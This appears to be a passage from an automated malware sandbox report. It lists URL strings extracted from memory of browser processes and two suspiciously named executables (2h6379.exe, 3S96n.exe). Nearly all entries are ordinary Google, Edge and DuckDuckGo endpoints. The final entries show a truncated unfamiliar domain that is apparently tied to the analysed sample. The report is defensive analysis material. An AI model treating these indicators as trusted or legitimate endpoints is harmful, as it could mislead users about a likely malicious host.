Source: chrome.exe, 00000007.00000003.2381805678.000000E801CB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2381849800.000000E801CC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000007.00000003.2343078085.000063C400728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2380049633.000000E80167C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2342939288.000063C40071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000007.00000003.2381805678.000000E801CB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2381849800.000000E801CC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000007.00000003.2343078085.000063C400728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2380049633.000000E80167C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2342939288.000063C40071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2381528015.000000E801C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2381464043.000000E801C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000007.00000003.2343078085.000063C400728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2380049633.000000E80167C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2342939288.000063C40071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000007.00000003.2381528015.000000E801C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2381464043.000000E801C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/https://google-ohttp-relay-query.fastly-edge.com/
Source: msedge.exe, 0000000A.00000002.2533955064.00005E000237C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.11.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000007.00000003.2339516970.000072D4002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2339533085.000072D4002E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000007.00000003.2346981288.000000E800484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2533199643.00005E0002240000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.11.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.0000000001548000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2110082641.0000000005D50000.00000004.00000800.00020000.00000000.sdmp, FIDHIEBAAKJDHIECAAFH.3.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.0000000001548000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2110082641.0000000005D50000.00000004.00000800.00020000.00000000.sdmp, FIDHIEBAAKJDHIECAAFH.3.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: manifest.json0.11.dr	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2397314914.000000E8012D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2355594802.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2397314914.000000E8012D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359384303.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2397314914.000000E8012D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000007.00000003.2380049633.000000E80167C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2397314914.000000E8012D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000007.00000003.2386953580.000000E801A70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2397314914.000000E8012D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2397314914.000000E8012D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2430331312.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2392785957.000000E800C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2397314914.000000E8012D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2397314914.000000E8012D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000007.00000003.2386953580.000000E801A70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/ogl
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2355594802.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359384303.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: 2h6379.exe, 00000003.00000003.2257337140.0000000008EAB000.00000004.00001000.00020000.00000000.sdmp, 3S96n.exe, 3S96n.exe, 0000001A.00000003.2810499954.0000000004A8B000.00000004.00001000.00020000.00000000.sdmp, 3S96n.exe, 0000001A.00000002.2851008315.000000000057C000.00000040.00000001.01000000.00000016.sdmp, chrome.dll.3.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: manifest.json0.11.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000007.00000003.2359589107.000000E80118C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2387634724.000000E80159C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000007.00000003.2387634724.000000E80159C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2ation.Result
Source: chrome.exe, 00000007.00000003.2387634724.000000E80159C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2d
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000007.00000003.2355594802.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2430331312.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359384303.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2392785957.000000E800C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: 2h6379.exe, 00000003.00000003.2079873754.0000000005D7F000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080007128.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080171090.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2355594802.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2430331312.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359384303.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2392785957.000000E800C20000.00000004.00000800.00020000.00000000.sdmp, Web Data.11.dr, GHDHDBAE.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 2h6379.exe, 00000003.00000003.2079873754.0000000005D7F000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080007128.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080171090.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2355594802.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2430331312.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359384303.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2392785957.000000E800C20000.00000004.00000800.00020000.00000000.sdmp, Web Data.11.dr, GHDHDBAE.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000007.00000003.2355594802.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2430331312.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359384303.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2392785957.000000E800C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: 2h6379.exe, 00000003.00000003.2079873754.0000000005D7F000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080007128.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080171090.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, Web Data.11.dr, GHDHDBAE.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log7.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log7.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log7.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr, HubApps Icons.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr, HubApps Icons.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr, HubApps Icons.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr, HubApps Icons.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 000003.log7.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr, HubApps Icons.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr, HubApps Icons.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr, HubApps Icons.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr, HubApps Icons.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 000003.log7.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: 2h6379.exe, 00000003.00000003.2251174217.000000000157B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.stor
Source: 2h6379.exe, 00000003.00000003.2251174217.000000000157B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.storE
